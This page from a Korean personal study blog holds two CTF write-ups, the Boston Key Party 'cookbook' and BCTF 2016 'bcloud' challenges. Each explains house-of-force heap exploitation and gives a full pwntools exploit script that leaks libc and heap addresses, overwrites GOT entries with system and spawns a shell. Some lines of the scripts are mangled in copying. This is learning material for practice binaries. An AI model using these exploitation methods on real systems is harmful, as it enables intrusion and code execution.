HanJeouk의 개인공부 블로그

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

취약점은 Create recipe 부분에서 할당하면 전역변수를 0으로 초기화하지 않기 때문에 UAF 가 가능하다. 그리고 Create recipe의 print current recipe를 보면 a1+124를 출력하는데 이것들을 이용해서 힙 주소나 base주소 등등 전부 구할 수 있었다. 그리고 Create recipe의 include instructions 함수에서 fgets로 값을 받는데 값을 +140 부터 받아서 탑 청크를 덮을 수 있게 된다. 또 give cookbook a name 함수에서 사이즈를 자기가 원하는 만큼 받을 수 있기 때문에  이 취약점들로 house of force 공격을 할 수 있다. 

공격 순서는 

heap_address & system_address Leak -> Top_chunk size change(\xff\xff\xff\xff) -> Attack순으로 했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// input your code herefrom pwn import*
= process("./cookbook")
elf = ELF("./cookbook")
def leak(add):
        p.sendlineafter("uit\n","c")
        p.sendlineafter("uit\n","n")
        p.sendlineafter("uit\n","d")
        p.sendlineafter("uit\n","q")
        p.sendlineafter("uit\n","g")
        p.sendlineafter(": ","300")
        p.sendline("\x00"*124+p32(add))
        p.sendlineafter("uit\n","c")
        p.sendlineafter("uit\n","p")
 
p.sendlineafter("?","/bin/sh")
 
leak(0x0804d03c#libc_start_main
p.recvuntil("type: ")
libc_start = u32(p.recv(4))
base = libc_start-0x18540
system = base+0x3ada0
one_shot = base + 0x5fbc6
 
leak(0x0804d0a0#0x0804d0a0 recipe_ptr
p.recvuntil("type: ")
heap = u32(p.recv(4))
top_add =heap+0x304
size = elf.got["free"- 0x8-top_add-0x414
 
print "libc_start_main: " + hex(libc_start)
print "base: " + hex(base)
print "heap: " + hex(heap)
print "Top_chunk: " + hex(top_add)
print "size: " + hex(size)
 
p.sendlineafter("uit\n","n")
p.sendlineafter("uit\n","g")
p.sendline("a"*0x380+"\xff\xff\xff\xff")
p.sendlineafter("uit\n","q")
p.sendlineafter("uit\n","g")
p.sendline(hex(size))
 
p.sendlineafter("uit\n","g")
p.sendlineafter(": ","5")
p.sendline(p32(system))
p.interactive()
~                    
cs

문제는 그렇게 어렵지 않았지만 문제에서 값을 넣는데 malloc로 할당해서 그걸로 값을 넣고 또 free하고 막 전역변수 여러개로 청크 관리하는 걸 보고 분석하다가 머리가 멈춰버렸다. ㅎ 그래서 풀이를 이해하고 풀었다...

이 문제를 풀면서 함수 전부를 분석해야하지만 그 중에서 중요한 부분을 잘 잡아내서 분석하는 것도 중요하다는 것을 깨달았다.

또 평소에 분석하다가 헷갈리면 gdb로 같이 값 들어가는거 보면서 했는데 앞으로는 정적 분석 실력 향상을 위해 최대한 정적으로만 분석해야지.

'CTF' 카테고리의 다른 글

TRUSTEALTH CTF sohard  (0) 2018.03.02
TRUSTEALTH CTF sysrop  (0) 2018.03.02
Bctf_2016 bcloud  (0) 2018.02.21
2018 Codegate Super Marimo  (6) 2018.02.06
2018 Codegate BaskinRobins31  (0) 2018.02.04

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

Bctf_2016 bcloud

CTF2018. 2. 21. 21:09

house of force 이론을 공부하고 이 기법을 사용하는 문제인 bcloud를 풀어보았다.

맨 처음에 name을 받는데 여기서 원래 사이즈보다 많이 받을 수 있다. 그래서 다음 변수인 org인 host를 덮는 게 가능해지고 심지어 탑 청크까지도 덮는게 가능해진다.


이런식으로 페이로드를 보냈을 때 이렇게 나온다. 그러면 name을 출력해줄때 힙 주소도 같이 출력될 것이다.

이제 탑 청크 사이즈를 조작했으니까 내가 원하는 곳에 할당하는 것이 가능해진다 ㅎ

나는 atoi_got에 printf_plt를 덮어서 포맷스트링 버그가 가능하게할 것이다.

근데 원래는 사이즈를 구해주기 위해 atoi_got - 0x8 - top_chunk를 해줘야 하는데  안되길래 gdb를 보면서 사이즈를 조절해야만 했다. 아니면 segfault 뜸;; 그래서 난 0xc를 또 빼줬다. 

그 결과 내가 2번째 청크의 데이터를 이용하여 atoi_got에 printf_plt 덮는데 성공했다.

이제 메뉴를 고를 때마다 출력을 해줄 것이다. 그리고 이제 포맷스트링 버그가 가능해진다.

포맷스트링으로 main의 ret를 릭하고 그걸로 시스템 주소를 구했다. 이제 atoi함수를 system으로 덮고 /bin/sh를 넣어주면 된다. 

edit 함수를 쓰면 할 수 있는데 printf함수의 반환값이 글자 수라서 3을 입력하려면 333이렇게 입력해야 한다.

그렇게 edit 기능으로 들어가서 수행하고 /bin/sh를 입력하면?

쉘이 따졌다 ㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎ 포맷스트링 버그로 릭을 할 때 라이트업을 보고 했는데 

%p 하나만 했을 때는 거리가 %p를 34번 정도는 넣어줘야 할 것 같았는데 31번만 하고 릭하는 것을 보고 이해가 안갔다.

그래도 원래의도는 house of force 응용이니까 목적은 달성했다 ㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
= process("./bcloud")
elf = ELF("./bcloud")
atoi_got = elf.got["atoi"]
puts_got = elf.got["puts"]
printf_plt = elf.plt["printf"]
def start(name,org,host):
        print p.recv(1024)
        p.sendline(name)
        print p.recv(1024)
        p.sendline(org)
        p.sendlineafter(":\n",host)
 
def new(size,content):
        p.sendlineafter(">\n","1")
        p.sendlineafter(":\n",str(size))
        p.sendlineafter(":\n",str(content))
 
def edit(idx,content):
        p.sendlineafter(">\n","3")
        p.sendlineafter(":\n",str(idx))
        p.sendlineafter(":\n",str(content))
 
def delete(idx):
        p.sendlineafter(">\n","4")
        p.sendlineafter(":\n",str(idx))
 
def syn():
        p.sendlineafter(">\n","5")
 
print p.recv(1024)
p.sendline("A"*63+"B"+"C"*64+"\xff\xff\xff\xff")
p.recvuntil("B")
heap = u32(p.recv(4))-8
top_chunk = heap+0xdc
print "heap: " + hex(heap)
print "TOP_chunk: " + hex(top_chunk)
 
size = atoi_got - 0x8 - top_chunk -0xc #-0x10
p.sendlineafter(">>\n","1")
p.sendline(str(size))
new(8,"AAAA"+p32(printf_plt))
print p.recv(1024)
p.sendline("%31$p")
leak = int(p.recv(10),16)
base = leak - int(0x18637)
system = base+0x3ada0
print "LEAK: " + hex(leak)
print "base: " + hex(base)
print "system: " + hex(system)
print p.sendlineafter(">>\n","333"#printf return  atoi return
print p.sendlineafter(":\n","1")
print p.sendlineafter(":\n","aaaa"+p32(system))
p.sendline("/bin/sh\x00")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

TRUSTEALTH CTF sysrop  (0) 2018.03.02
2016 Boston Key Party CTF Cookbook  (0) 2018.02.27
2018 Codegate Super Marimo  (6) 2018.02.06
2018 Codegate BaskinRobins31  (0) 2018.02.04
2018 Codegate RedVelvet  (0) 2018.02.04

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인